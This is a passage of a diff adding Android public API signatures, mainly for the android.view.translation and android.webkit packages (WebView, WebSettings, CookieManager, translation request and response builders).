+    field public static final int STATUS_SUCCESS = 0; // 0x0
+  }
+
+  public static final class TranslationResponseValue.Builder {
+    ctor public TranslationResponseValue.Builder(int);
+    method @NonNull public android.view.translation.TranslationResponseValue build();
+    method @NonNull public android.view.translation.TranslationResponseValue.Builder setExtras(@NonNull android.os.Bundle);
+    method @NonNull public android.view.translation.TranslationResponseValue.Builder setText(@NonNull CharSequence);
+    method @NonNull public android.view.translation.TranslationResponseValue.Builder setTransliteration(@NonNull CharSequence);
+  }
+
+  public final class TranslationSpec implements android.os.Parcelable {
+    ctor public TranslationSpec(@NonNull android.icu.util.ULocale, int);
+    method public int describeContents();
+    method public int getDataFormat();
+    method @NonNull public android.icu.util.ULocale getLocale();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.translation.TranslationSpec> CREATOR;
+    field public static final int DATA_FORMAT_TEXT = 1; // 0x1
+  }
+
+  public class Translator {
+    method public void destroy();
+    method public boolean isDestroyed();
+    method @Nullable public void translate(@NonNull android.view.translation.TranslationRequest, @Nullable android.os.CancellationSignal, @NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<android.view.translation.TranslationResponse>);
+  }
+
+  public final class UiTranslationManager {
+    method public void registerUiTranslationStateCallback(@NonNull java.util.concurrent.Executor, @NonNull android.view.translation.UiTranslationStateCallback);
+    method public void unregisterUiTranslationStateCallback(@NonNull android.view.translation.UiTranslationStateCallback);
+  }
+
+  public interface UiTranslationStateCallback {
+    method public void onFinished();
+    method public void onPaused();
+    method public default void onResumed(@NonNull android.icu.util.ULocale, @NonNull android.icu.util.ULocale);
+    method public default void onStarted(@NonNull android.icu.util.ULocale, @NonNull android.icu.util.ULocale);
+  }
+
+  @UiThread public interface ViewTranslationCallback {
+    method public boolean onClearTranslation(@NonNull android.view.View);
+    method public boolean onHideTranslation(@NonNull android.view.View);
+    method public boolean onShowTranslation(@NonNull android.view.View);
+  }
+
+  public final class ViewTranslationRequest implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.view.autofill.AutofillId getAutofillId();
+    method @NonNull public java.util.Set<java.lang.String> getKeys();
+    method @NonNull public android.view.translation.TranslationRequestValue getValue(@NonNull String);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.translation.ViewTranslationRequest> CREATOR;
+    field public static final String ID_TEXT = "android:text";
+  }
+
+  public static final class ViewTranslationRequest.Builder {
+    ctor public ViewTranslationRequest.Builder(@NonNull android.view.autofill.AutofillId);
+    ctor public ViewTranslationRequest.Builder(@NonNull android.view.autofill.AutofillId, long);
+    method @NonNull public android.view.translation.ViewTranslationRequest build();
+    method @NonNull public android.view.translation.ViewTranslationRequest.Builder setValue(@NonNull String, @NonNull android.view.translation.TranslationRequestValue);
+  }
+
+  public final class ViewTranslationResponse implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.view.autofill.AutofillId getAutofillId();
+    method @NonNull public java.util.Set<java.lang.String> getKeys();
+    method @NonNull public android.view.translation.TranslationResponseValue getValue(@NonNull String);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.translation.ViewTranslationResponse> CREATOR;
+  }
+
+  public static final class ViewTranslationResponse.Builder {
+    ctor public ViewTranslationResponse.Builder(@NonNull android.view.autofill.AutofillId);
+    method @NonNull public android.view.translation.ViewTranslationResponse build();
+    method public android.view.translation.ViewTranslationResponse.Builder setValue(String, android.view.translation.TranslationResponseValue);
+  }
+
+}
+
+package android.webkit {
+
+  public abstract class ClientCertRequest {
+    ctor public ClientCertRequest();
+    method public abstract void cancel();
+    method public abstract String getHost();
+    method @Nullable public abstract String[] getKeyTypes();
+    method public abstract int getPort();
+    method @Nullable public abstract java.security.Principal[] getPrincipals();
+    method public abstract void ignore();
+    method public abstract void proceed(java.security.PrivateKey, java.security.cert.X509Certificate[]);
+  }
+
+  public class ConsoleMessage {
+    ctor public ConsoleMessage(String, String, int, android.webkit.ConsoleMessage.MessageLevel);
+    method public int lineNumber();
+    method public String message();
+    method public android.webkit.ConsoleMessage.MessageLevel messageLevel();
+    method public String sourceId();
+  }
+
+  public enum ConsoleMessage.MessageLevel {
+    enum_constant public static final android.webkit.ConsoleMessage.MessageLevel DEBUG;
+    enum_constant public static final android.webkit.ConsoleMessage.MessageLevel ERROR;
+    enum_constant public static final android.webkit.ConsoleMessage.MessageLevel LOG;
+    enum_constant public static final android.webkit.ConsoleMessage.MessageLevel TIP;
+    enum_constant public static final android.webkit.ConsoleMessage.MessageLevel WARNING;
+  }
+
+  public abstract class CookieManager {
+    ctor @Deprecated public CookieManager();
+    method public abstract boolean acceptCookie();
+    method public abstract boolean acceptThirdPartyCookies(android.webkit.WebView);
+    method public static boolean allowFileSchemeCookies();
+    method public abstract void flush();
+    method public abstract String getCookie(String);
+    method public static android.webkit.CookieManager getInstance();
+    method public abstract boolean hasCookies();
+    method @Deprecated public abstract void removeAllCookie();
+    method public abstract void removeAllCookies(@Nullable android.webkit.ValueCallback<java.lang.Boolean>);
+    method @Deprecated public abstract void removeExpiredCookie();
+    method @Deprecated public abstract void removeSessionCookie();
+    method public abstract void removeSessionCookies(@Nullable android.webkit.ValueCallback<java.lang.Boolean>);
+    method public abstract void setAcceptCookie(boolean);
+    method @Deprecated public static void setAcceptFileSchemeCookies(boolean);
+    method public abstract void setAcceptThirdPartyCookies(android.webkit.WebView, boolean);
+    method public abstract void setCookie(String, String);
+    method public abstract void setCookie(String, String, @Nullable android.webkit.ValueCallback<java.lang.Boolean>);
+  }
+
+  @Deprecated public final class CookieSyncManager implements java.lang.Runnable {
+    method @Deprecated public static android.webkit.CookieSyncManager createInstance(android.content.Context);
+    method @Deprecated public static android.webkit.CookieSyncManager getInstance();
+    method @Deprecated public void resetSync();
+    method @Deprecated public void run();
+    method @Deprecated public void startSync();
+    method @Deprecated public void stopSync();
+    method @Deprecated public void sync();
+    method @Deprecated protected void syncFromRamToFlash();
+  }
+
+  public class DateSorter {
+    ctor public DateSorter(android.content.Context);
+    method public long getBoundary(int);
+    method public int getIndex(long);
+    method public String getLabel(int);
+    field public static final int DAY_COUNT = 5; // 0x5
+  }
+
+  public interface DownloadListener {
+    method public void onDownloadStart(String, String, String, String, long);
+  }
+
+  public class GeolocationPermissions {
+    method public void allow(String);
+    method public void clear(String);
+    method public void clearAll();
+    method public void getAllowed(String, android.webkit.ValueCallback<java.lang.Boolean>);
+    method public static android.webkit.GeolocationPermissions getInstance();
+    method public void getOrigins(android.webkit.ValueCallback<java.util.Set<java.lang.String>>);
+  }
+
+  public static interface GeolocationPermissions.Callback {
+    method public void invoke(String, boolean, boolean);
+  }
+
+  public class HttpAuthHandler extends android.os.Handler {
+    method public void cancel();
+    method public void proceed(String, String);
+    method public boolean useHttpAuthUsernamePassword();
+  }
+
+  @java.lang.annotation.Retention(java.lang.annotation.RetentionPolicy.RUNTIME) @java.lang.annotation.Target({java.lang.annotation.ElementType.METHOD}) public @interface JavascriptInterface {
+  }
+
+  public class JsPromptResult extends android.webkit.JsResult {
+    method public void confirm(String);
+  }
+
+  public class JsResult {
+    method public final void cancel();
+    method public final void confirm();
+  }
+
+  public class MimeTypeMap {
+    method @Nullable public String getExtensionFromMimeType(String);
+    method public static String getFileExtensionFromUrl(String);
+    method @Nullable public String getMimeTypeFromExtension(String);
+    method public static android.webkit.MimeTypeMap getSingleton();
+    method public boolean hasExtension(String);
+    method public boolean hasMimeType(String);
+  }
+
+  public abstract class PermissionRequest {
+    ctor public PermissionRequest();
+    method public abstract void deny();
+    method public abstract android.net.Uri getOrigin();
+    method public abstract String[] getResources();
+    method public abstract void grant(String[]);
+    field public static final String RESOURCE_AUDIO_CAPTURE = "android.webkit.resource.AUDIO_CAPTURE";
+    field public static final String RESOURCE_MIDI_SYSEX = "android.webkit.resource.MIDI_SYSEX";
+    field public static final String RESOURCE_PROTECTED_MEDIA_ID = "android.webkit.resource.PROTECTED_MEDIA_ID";
+    field public static final String RESOURCE_VIDEO_CAPTURE = "android.webkit.resource.VIDEO_CAPTURE";
+  }
+
+  public interface PluginStub {
+    method public android.view.View getEmbeddedView(int, android.content.Context);
+    method public android.view.View getFullScreenView(int, android.content.Context);
+  }
+
+  public abstract class RenderProcessGoneDetail {
+    ctor @Deprecated public RenderProcessGoneDetail();
+    method public abstract boolean didCrash();
+    method public abstract int rendererPriorityAtExit();
+  }
+
+  public abstract class SafeBrowsingResponse {
+    ctor @Deprecated public SafeBrowsingResponse();
+    method public abstract void backToSafety(boolean);
+    method public abstract void proceed(boolean);
+    method public abstract void showInterstitial(boolean);
+  }
+
+  public class ServiceWorkerClient {
+    ctor public ServiceWorkerClient();
+    method @Nullable public android.webkit.WebResourceResponse shouldInterceptRequest(android.webkit.WebResourceRequest);
+  }
+
+  public abstract class ServiceWorkerController {
+    ctor @Deprecated public ServiceWorkerController();
+    method @NonNull public static android.webkit.ServiceWorkerController getInstance();
+    method @NonNull public abstract android.webkit.ServiceWorkerWebSettings getServiceWorkerWebSettings();
+    method public abstract void setServiceWorkerClient(@Nullable android.webkit.ServiceWorkerClient);
+  }
+
+  public abstract class ServiceWorkerWebSettings {
+    ctor public ServiceWorkerWebSettings();
+    method public abstract boolean getAllowContentAccess();
+    method public abstract boolean getAllowFileAccess();
+    method public abstract boolean getBlockNetworkLoads();
+    method public abstract int getCacheMode();
+    method public abstract void setAllowContentAccess(boolean);
+    method public abstract void setAllowFileAccess(boolean);
+    method public abstract void setBlockNetworkLoads(boolean);
+    method public abstract void setCacheMode(int);
+  }
+
+  public class SslErrorHandler extends android.os.Handler {
+    method public void cancel();
+    method public void proceed();
+  }
+
+  public class TracingConfig {
+    method @NonNull public java.util.List<java.lang.String> getCustomIncludedCategories();
+    method public int getPredefinedCategories();
+    method public int getTracingMode();
+    field public static final int CATEGORIES_ALL = 1; // 0x1
+    field public static final int CATEGORIES_ANDROID_WEBVIEW = 2; // 0x2
+    field public static final int CATEGORIES_FRAME_VIEWER = 64; // 0x40
+    field public static final int CATEGORIES_INPUT_LATENCY = 8; // 0x8
+    field public static final int CATEGORIES_JAVASCRIPT_AND_RENDERING = 32; // 0x20
+    field public static final int CATEGORIES_NONE = 0; // 0x0
+    field public static final int CATEGORIES_RENDERING = 16; // 0x10
+    field public static final int CATEGORIES_WEB_DEVELOPER = 4; // 0x4
+    field public static final int RECORD_CONTINUOUSLY = 1; // 0x1
+    field public static final int RECORD_UNTIL_FULL = 0; // 0x0
+  }
+
+  public static class TracingConfig.Builder {
+    ctor public TracingConfig.Builder();
+    method public android.webkit.TracingConfig.Builder addCategories(int...);
+    method public android.webkit.TracingConfig.Builder addCategories(java.lang.String...);
+    method public android.webkit.TracingConfig.Builder addCategories(java.util.Collection<java.lang.String>);
+    method public android.webkit.TracingConfig build();
+    method public android.webkit.TracingConfig.Builder setTracingMode(int);
+  }
+
+  public abstract class TracingController {
+    ctor @Deprecated public TracingController();
+    method @NonNull public static android.webkit.TracingController getInstance();
+    method public abstract boolean isTracing();
+    method public abstract void start(@NonNull android.webkit.TracingConfig);
+    method public abstract boolean stop(@Nullable java.io.OutputStream, @NonNull java.util.concurrent.Executor);
+  }
+
+  public final class URLUtil {
+    ctor public URLUtil();
+    method public static String composeSearchUrl(String, String, String);
+    method public static byte[] decode(byte[]) throws java.lang.IllegalArgumentException;
+    method public static String guessFileName(String, @Nullable String, @Nullable String);
+    method public static String guessUrl(String);
+    method public static boolean isAboutUrl(String);
+    method public static boolean isAssetUrl(String);
+    method public static boolean isContentUrl(String);
+    method @Deprecated public static boolean isCookielessProxyUrl(String);
+    method public static boolean isDataUrl(String);
+    method public static boolean isFileUrl(String);
+    method public static boolean isHttpUrl(String);
+    method public static boolean isHttpsUrl(String);
+    method public static boolean isJavaScriptUrl(String);
+    method public static boolean isNetworkUrl(String);
+    method public static boolean isValidUrl(String);
+    method public static String stripAnchor(String);
+  }
+
+  public interface ValueCallback<T> {
+    method public void onReceiveValue(T);
+  }
+
+  public abstract class WebBackForwardList implements java.lang.Cloneable java.io.Serializable {
+    ctor public WebBackForwardList();
+    method protected abstract android.webkit.WebBackForwardList clone();
+    method public abstract int getCurrentIndex();
+    method @Nullable public abstract android.webkit.WebHistoryItem getCurrentItem();
+    method public abstract android.webkit.WebHistoryItem getItemAtIndex(int);
+    method public abstract int getSize();
+  }
+
+  public class WebChromeClient {
+    ctor public WebChromeClient();
+    method @Nullable public android.graphics.Bitmap getDefaultVideoPoster();
+    method @Nullable public android.view.View getVideoLoadingProgressView();
+    method public void getVisitedHistory(android.webkit.ValueCallback<java.lang.String[]>);
+    method public void onCloseWindow(android.webkit.WebView);
+    method @Deprecated public void onConsoleMessage(String, int, String);
+    method public boolean onConsoleMessage(android.webkit.ConsoleMessage);
+    method public boolean onCreateWindow(android.webkit.WebView, boolean, boolean, android.os.Message);
+    method @Deprecated public void onExceededDatabaseQuota(String, String, long, long, long, android.webkit.WebStorage.QuotaUpdater);
+    method public void onGeolocationPermissionsHidePrompt();
+    method public void onGeolocationPermissionsShowPrompt(String, android.webkit.GeolocationPermissions.Callback);
+    method public void onHideCustomView();
+    method public boolean onJsAlert(android.webkit.WebView, String, String, android.webkit.JsResult);
+    method public boolean onJsBeforeUnload(android.webkit.WebView, String, String, android.webkit.JsResult);
+    method public boolean onJsConfirm(android.webkit.WebView, String, String, android.webkit.JsResult);
+    method public boolean onJsPrompt(android.webkit.WebView, String, String, String, android.webkit.JsPromptResult);
+    method @Deprecated public boolean onJsTimeout();
+    method public void onPermissionRequest(android.webkit.PermissionRequest);
+    method public void onPermissionRequestCanceled(android.webkit.PermissionRequest);
+    method public void onProgressChanged(android.webkit.WebView, int);
+    method @Deprecated public void onReachedMaxAppCacheSize(long, long, android.webkit.WebStorage.QuotaUpdater);
+    method public void onReceivedIcon(android.webkit.WebView, android.graphics.Bitmap);
+    method public void onReceivedTitle(android.webkit.WebView, String);
+    method public void onReceivedTouchIconUrl(android.webkit.WebView, String, boolean);
+    method public void onRequestFocus(android.webkit.WebView);
+    method public void onShowCustomView(android.view.View, android.webkit.WebChromeClient.CustomViewCallback);
+    method @Deprecated public void onShowCustomView(android.view.View, int, android.webkit.WebChromeClient.CustomViewCallback);
+    method public boolean onShowFileChooser(android.webkit.WebView, android.webkit.ValueCallback<android.net.Uri[]>, android.webkit.WebChromeClient.FileChooserParams);
+  }
+
+  public static interface WebChromeClient.CustomViewCallback {
+    method public void onCustomViewHidden();
+  }
+
+  public abstract static class WebChromeClient.FileChooserParams {
+    ctor public WebChromeClient.FileChooserParams();
+    method public abstract android.content.Intent createIntent();
+    method public abstract String[] getAcceptTypes();
+    method @Nullable public abstract String getFilenameHint();
+    method public abstract int getMode();
+    method @Nullable public abstract CharSequence getTitle();
+    method public abstract boolean isCaptureEnabled();
+    method @Nullable public static android.net.Uri[] parseResult(int, android.content.Intent);
+    field public static final int MODE_OPEN = 0; // 0x0
+    field public static final int MODE_OPEN_MULTIPLE = 1; // 0x1
+    field public static final int MODE_SAVE = 3; // 0x3
+  }
+
+  public abstract class WebHistoryItem implements java.lang.Cloneable {
+    ctor public WebHistoryItem();
+    method protected abstract android.webkit.WebHistoryItem clone();
+    method @Nullable public abstract android.graphics.Bitmap getFavicon();
+    method public abstract String getOriginalUrl();
+    method public abstract String getTitle();
+    method public abstract String getUrl();
+  }
+
+  @Deprecated public abstract class WebIconDatabase {
+    ctor @Deprecated public WebIconDatabase();
+    method @Deprecated public abstract void close();
+    method @Deprecated public static android.webkit.WebIconDatabase getInstance();
+    method @Deprecated public abstract void open(String);
+    method @Deprecated public abstract void releaseIconForPageUrl(String);
+    method @Deprecated public abstract void removeAllIcons();
+    method @Deprecated public abstract void requestIconForPageUrl(String, android.webkit.WebIconDatabase.IconListener);
+    method @Deprecated public abstract void retainIconForPageUrl(String);
+  }
+
+  @Deprecated public static interface WebIconDatabase.IconListener {
+    method @Deprecated public void onReceivedIcon(String, android.graphics.Bitmap);
+  }
+
+  public class WebMessage {
+    ctor public WebMessage(String);
+    ctor public WebMessage(String, android.webkit.WebMessagePort[]);
+    method public String getData();
+    method @Nullable public android.webkit.WebMessagePort[] getPorts();
+  }
+
+  public abstract class WebMessagePort {
+    method public abstract void close();
+    method public abstract void postMessage(android.webkit.WebMessage);
+    method public abstract void setWebMessageCallback(android.webkit.WebMessagePort.WebMessageCallback);
+    method public abstract void setWebMessageCallback(android.webkit.WebMessagePort.WebMessageCallback, android.os.Handler);
+  }
+
+  public abstract static class WebMessagePort.WebMessageCallback {
+    ctor public WebMessagePort.WebMessageCallback();
+    method public void onMessage(android.webkit.WebMessagePort, android.webkit.WebMessage);
+  }
+
+  public abstract class WebResourceError {
+    method public abstract CharSequence getDescription();
+    method public abstract int getErrorCode();
+  }
+
+  public interface WebResourceRequest {
+    method public String getMethod();
+    method public java.util.Map<java.lang.String,java.lang.String> getRequestHeaders();
+    method public android.net.Uri getUrl();
+    method public boolean hasGesture();
+    method public boolean isForMainFrame();
+    method public boolean isRedirect();
+  }
+
+  public class WebResourceResponse {
+    ctor public WebResourceResponse(String, String, java.io.InputStream);
+    ctor public WebResourceResponse(String, String, int, @NonNull String, java.util.Map<java.lang.String,java.lang.String>, java.io.InputStream);
+    method public java.io.InputStream getData();
+    method public String getEncoding();
+    method public String getMimeType();
+    method public String getReasonPhrase();
+    method public java.util.Map<java.lang.String,java.lang.String> getResponseHeaders();
+    method public int getStatusCode();
+    method public void setData(java.io.InputStream);
+    method public void setEncoding(String);
+    method public void setMimeType(String);
+    method public void setResponseHeaders(java.util.Map<java.lang.String,java.lang.String>);
+    method public void setStatusCodeAndReasonPhrase(int, @NonNull String);
+  }
+
+  public abstract class WebSettings {
+    ctor public WebSettings();
+    method @Deprecated public abstract boolean enableSmoothTransition();
+    method public abstract boolean getAllowContentAccess();
+    method public abstract boolean getAllowFileAccess();
+    method public abstract boolean getAllowFileAccessFromFileURLs();
+    method public abstract boolean getAllowUniversalAccessFromFileURLs();
+    method public abstract boolean getBlockNetworkImage();
+    method public abstract boolean getBlockNetworkLoads();
+    method public abstract boolean getBuiltInZoomControls();
+    method public abstract int getCacheMode();
+    method public abstract String getCursiveFontFamily();
+    method public abstract boolean getDatabaseEnabled();
+    method @Deprecated public abstract String getDatabasePath();
+    method public abstract int getDefaultFixedFontSize();
+    method public abstract int getDefaultFontSize();
+    method public abstract String getDefaultTextEncodingName();
+    method public static String getDefaultUserAgent(android.content.Context);
+    method @Deprecated public abstract android.webkit.WebSettings.ZoomDensity getDefaultZoom();
+    method public abstract int getDisabledActionModeMenuItems();
+    method public abstract boolean getDisplayZoomControls();
+    method public abstract boolean getDomStorageEnabled();
+    method public abstract String getFantasyFontFamily();
+    method public abstract String getFixedFontFamily();
+    method public int getForceDark();
+    method public abstract boolean getJavaScriptCanOpenWindowsAutomatically();
+    method public abstract boolean getJavaScriptEnabled();
+    method public abstract android.webkit.WebSettings.LayoutAlgorithm getLayoutAlgorithm();
+    method @Deprecated public abstract boolean getLightTouchEnabled();
+    method public abstract boolean getLoadWithOverviewMode();
+    method public abstract boolean getLoadsImagesAutomatically();
+    method public abstract boolean getMediaPlaybackRequiresUserGesture();
+    method public abstract int getMinimumFontSize();
+    method public abstract int getMinimumLogicalFontSize();
+    method public abstract int getMixedContentMode();
+    method public abstract boolean getOffscreenPreRaster();
+    method @Deprecated public abstract android.webkit.WebSettings.PluginState getPluginState();
+    method public abstract boolean getSafeBrowsingEnabled();
+    method public abstract String getSansSerifFontFamily();
+    method @Deprecated public abstract boolean getSaveFormData();
+    method @Deprecated public abstract boolean getSavePassword();
+    method public abstract String getSerifFontFamily();
+    method public abstract String getStandardFontFamily();
+    method @Deprecated public android.webkit.WebSettings.TextSize getTextSize();
+    method public abstract int getTextZoom();
+    method public abstract boolean getUseWideViewPort();
+    method public abstract String getUserAgentString();
+    method public abstract void setAllowContentAccess(boolean);
+    method public abstract void setAllowFileAccess(boolean);
+    method @Deprecated public abstract void setAllowFileAccessFromFileURLs(boolean);
+    method @Deprecated public abstract void setAllowUniversalAccessFromFileURLs(boolean);
+    method @Deprecated public abstract void setAppCacheEnabled(boolean);
+    method @Deprecated public abstract void setAppCacheMaxSize(long);
+    method @Deprecated public abstract void setAppCachePath(String);
+    method public abstract void setBlockNetworkImage(boolean);
+    method public abstract void setBlockNetworkLoads(boolean);
+    method public abstract void setBuiltInZoomControls(boolean);
+    method public abstract void setCacheMode(int);
+    method public abstract void setCursiveFontFamily(String);
+    method public abstract void setDatabaseEnabled(boolean);
+    method @Deprecated public abstract void setDatabasePath(String);
+    method public abstract void setDefaultFixedFontSize(int);
+    method public abstract void setDefaultFontSize(int);
+    method public abstract void setDefaultTextEncodingName(String);
+    method @Deprecated public abstract void setDefaultZoom(android.webkit.WebSettings.ZoomDensity);
+    method public abstract void setDisabledActionModeMenuItems(int);
+    method public abstract void setDisplayZoomControls(boolean);
+    method public abstract void setDomStorageEnabled(boolean);
+    method @Deprecated public abstract void setEnableSmoothTransition(boolean);
+    method public abstract void setFantasyFontFamily(String);
+    method public abstract void setFixedFontFamily(String);
+    method public void setForceDark(int);
+    method @Deprecated public abstract void setGeolocationDatabasePath(String);
+    method public abstract void setGeolocationEnabled(boolean);
+    method public abstract void setJavaScriptCanOpenWindowsAutomatically(boolean);
+    method public abstract void setJavaScriptEnabled(boolean);
+    method public abstract void setLayoutAlgorithm(android.webkit.WebSettings.LayoutAlgorithm);
+    method @Deprecated public abstract void setLightTouchEnabled(boolean);
+    method public abstract void setLoadWithOverviewMode(boolean);
+    method public abstract void setLoadsImagesAutomatically(boolean);
+    method public abstract void setMediaPlaybackRequiresUserGesture(boolean);
+    method public abstract void setMinimumFontSize(int);
+    method public abstract void setMinimumLogicalFontSize(int);
+    method public abstract void setMixedContentMode(int);
+    method public abstract void setNeedInitialFocus(boolean);
+    method public abstract void setOffscreenPreRaster(boolean);
+    method @Deprecated public abstract void setPluginState(android.webkit.WebSettings.PluginState);
+    method @Deprecated public abstract void setRenderPriority(android.webkit.WebSettings.RenderPriority);
+    method public abstract void setSafeBrowsingEnabled(boolean);
+    method public abstract void setSansSerifFontFamily(String);
+    method @Deprecated public abstract void setSaveFormData(boolean);
+    method @Deprecated public abstract void setSavePassword(boolean);
+    method public abstract void setSerifFontFamily(String);
+    method public abstract void setStandardFontFamily(String);
+    method public abstract void setSupportMultipleWindows(boolean);
+    method public abstract void setSupportZoom(boolean);
+    method @Deprecated public void setTextSize(android.webkit.WebSettings.TextSize);
+    method public abstract void setTextZoom(int);
+    method public abstract void setUseWideViewPort(boolean);
+    method public abstract void setUserAgentString(@Nullable String);
+    method public abstract boolean supportMultipleWindows();
+    method public abstract boolean supportZoom();
+    field public static final int FORCE_DARK_AUTO = 1; // 0x1
+    field public static final int FORCE_DARK_OFF = 0; // 0x0
+    field public static final int FORCE_DARK_ON = 2; // 0x2
+    field public static final int LOAD_CACHE_ELSE_NETWORK = 1; // 0x1
+    field public static final int LOAD_CACHE_ONLY = 3; // 0x3
+    field public static final int LOAD_DEFAULT = -1; // 0xffffffff
+    field @Deprecated public static final int LOAD_NORMAL = 0; // 0x0
+    field public static final int LOAD_NO_CACHE = 2; // 0x2
+    field public static final int MENU_ITEM_NONE = 0; // 0x0
+    field public static final int MENU_ITEM_PROCESS_TEXT = 4; // 0x4
+    field public static final int MENU_ITEM_SHARE = 1; // 0x1
+    field public static final int MENU_ITEM_WEB_SEARCH = 2; // 0x2
+    field public static final int MIXED_CONTENT_ALWAYS_ALLOW = 0; // 0x0
+    field public static final int MIXED_CONTENT_COMPATIBILITY_MODE = 2; // 0x2
+    field public static final int MIXED_CONTENT_NEVER_ALLOW = 1; // 0x1
+  }
+
+  public enum WebSettings.LayoutAlgorithm {
+    enum_constant @Deprecated public static final android.webkit.WebSettings.LayoutAlgorithm NARROW_COLUMNS;
+    enum_constant public static final android.webkit.WebSettings.LayoutAlgorithm NORMAL;
+    enum_constant @Deprecated public static final android.webkit.WebSettings.LayoutAlgorithm SINGLE_COLUMN;
+    enum_constant public static final android.webkit.WebSettings.LayoutAlgorithm TEXT_AUTOSIZING;
+  }
+
+  public enum WebSettings.PluginState {
+    enum_constant public static final android.webkit.WebSettings.PluginState OFF;
+    enum_constant public static final android.webkit.WebSettings.PluginState ON;
+    enum_constant public static final android.webkit.WebSettings.PluginState ON_DEMAND;
+  }
+
+  public enum WebSettings.RenderPriority {
+    enum_constant public static final android.webkit.WebSettings.RenderPriority HIGH;
+    enum_constant public static final android.webkit.WebSettings.RenderPriority LOW;
+    enum_constant public static final android.webkit.WebSettings.RenderPriority NORMAL;
+  }
+
+  @Deprecated public enum WebSettings.TextSize {
+    enum_constant @Deprecated public static final android.webkit.WebSettings.TextSize LARGER;
+    enum_constant @Deprecated public static final android.webkit.WebSettings.TextSize LARGEST;
+    enum_constant @Deprecated public static final android.webkit.WebSettings.TextSize NORMAL;
+    enum_constant @Deprecated public static final android.webkit.WebSettings.TextSize SMALLER;
+    enum_constant @Deprecated public static final android.webkit.WebSettings.TextSize SMALLEST;
+  }
+
+  public enum WebSettings.ZoomDensity {
+    enum_constant public static final android.webkit.WebSettings.ZoomDensity CLOSE;
+    enum_constant public static final android.webkit.WebSettings.ZoomDensity FAR;
+    enum_constant public static final android.webkit.WebSettings.ZoomDensity MEDIUM;
+  }
+
+  public class WebStorage {
+    method public void deleteAllData();
+    method public void deleteOrigin(String);
+    method public static android.webkit.WebStorage getInstance();
+    method public void getOrigins(android.webkit.ValueCallback<java.util.Map>);
+    method public void getQuotaForOrigin(String, android.webkit.ValueCallback<java.lang.Long>);
+    method public void getUsageForOrigin(String, android.webkit.ValueCallback<java.lang.Long>);
+    method @Deprecated public void setQuotaForOrigin(String, long);
+  }
+
+  public static class WebStorage.Origin {
+    method public String getOrigin();
+    method public long getQuota();
+    method public long getUsage();
+  }
+
+  @Deprecated public static interface WebStorage.QuotaUpdater {
+    method @Deprecated public void updateQuota(long);
+  }
+
+  public class WebView extends android.widget.AbsoluteLayout implements android.view.ViewGroup.OnHierarchyChangeListener android.view.ViewTreeObserver.OnGlobalFocusChangeListener {
+    ctor public WebView(@NonNull android.content.Context);
+    ctor public WebView(@NonNull android.content.Context, @Nullable android.util.AttributeSet);
+    ctor public WebView(@NonNull android.content.Context, @Nullable android.util.AttributeSet, int);
+    ctor public WebView(@NonNull android.content.Context, @Nullable android.util.AttributeSet, int, int);
+    ctor @Deprecated public WebView(@NonNull android.content.Context, @Nullable android.util.AttributeSet, int, boolean);
+    method public void addJavascriptInterface(@NonNull Object, @NonNull String);
+    method public boolean canGoBack();
+    method public boolean canGoBackOrForward(int);
+    method public boolean canGoForward();
+    method @Deprecated public boolean canZoomIn();
+    method @Deprecated public boolean canZoomOut();
+    method @Deprecated public android.graphics.Picture capturePicture();
+    method public void clearCache(boolean);
+    method public static void clearClientCertPreferences(@Nullable Runnable);
+    method public void clearFormData();
+    method public void clearHistory();
+    method public void clearMatches();
+    method public void clearSslPreferences();
+    method @Deprecated public void clearView();
+    method @NonNull public android.webkit.WebBackForwardList copyBackForwardList();
+    method @Deprecated public android.print.PrintDocumentAdapter createPrintDocumentAdapter();
+    method @NonNull public android.print.PrintDocumentAdapter createPrintDocumentAdapter(@NonNull String);
+    method @NonNull public android.webkit.WebMessagePort[] createWebMessageChannel();
+    method public void destroy();
+    method public static void disableWebView();
+    method public void documentHasImages(@NonNull android.os.Message);
+    method public static void enableSlowWholeDocumentDraw();
+    method public void evaluateJavascript(@NonNull String, @Nullable android.webkit.ValueCallback<java.lang.String>);
+    method @Deprecated @Nullable public static String findAddress(String);
+    method @Deprecated public int findAll(String);
+    method public void findAllAsync(@NonNull String);
+    method public void findNext(boolean);
+    method public void flingScroll(int, int);
+    method @Deprecated public void freeMemory();
+    method @Nullable public android.net.http.SslCertificate getCertificate();
+    method public int getContentHeight();
+    method @Nullable public static android.content.pm.PackageInfo getCurrentWebViewPackage();
+    method @Nullable public android.graphics.Bitmap getFavicon();
+    method @NonNull public android.webkit.WebView.HitTestResult getHitTestResult();
+    method @Deprecated @Nullable public String[] getHttpAuthUsernamePassword(String, String);
+    method @Nullable public String getOriginalUrl();
+    method public int getProgress();
+    method public boolean getRendererPriorityWaivedWhenNotVisible();
+    method public int getRendererRequestedPriority();
+    method @NonNull public static android.net.Uri getSafeBrowsingPrivacyPolicyUrl();
+    method @Deprecated public float getScale();
+    method @NonNull public android.webkit.WebSettings getSettings();
+    method @NonNull public android.view.textclassifier.TextClassifier getTextClassifier();
+    method @Nullable public String getTitle();
+    method @Nullable public String getUrl();
+    method @Nullable public android.webkit.WebChromeClient getWebChromeClient();
+    method @NonNull public static ClassLoader getWebViewClassLoader();
+    method @NonNull public android.webkit.WebViewClient getWebViewClient();
+    method @NonNull public android.os.Looper getWebViewLooper();
+    method @Nullable public android.webkit.WebViewRenderProcess getWebViewRenderProcess();
+    method @Nullable public android.webkit.WebViewRenderProcessClient getWebViewRenderProcessClient();
+    method public void goBack();
+    method public void goBackOrForward(int);
+    method public void goForward();
+    method public void invokeZoomPicker();
+    method public boolean isPrivateBrowsingEnabled();
+    method public void loadData(@NonNull String, @Nullable String, @Nullable String);
+    method public void loadDataWithBaseURL(@Nullable String, @NonNull String, @Nullable String, @Nullable String, @Nullable String);
+    method public void loadUrl(@NonNull String, @NonNull java.util.Map<java.lang.String,java.lang.String>);
+    method public void loadUrl(@NonNull String);
+    method @Deprecated public void onChildViewAdded(android.view.View, android.view.View);
+    method @Deprecated public void onChildViewRemoved(android.view.View, android.view.View);
+    method @Deprecated public void onGlobalFocusChanged(android.view.View, android.view.View);
+    method public void onPause();
+    method public void onResume();
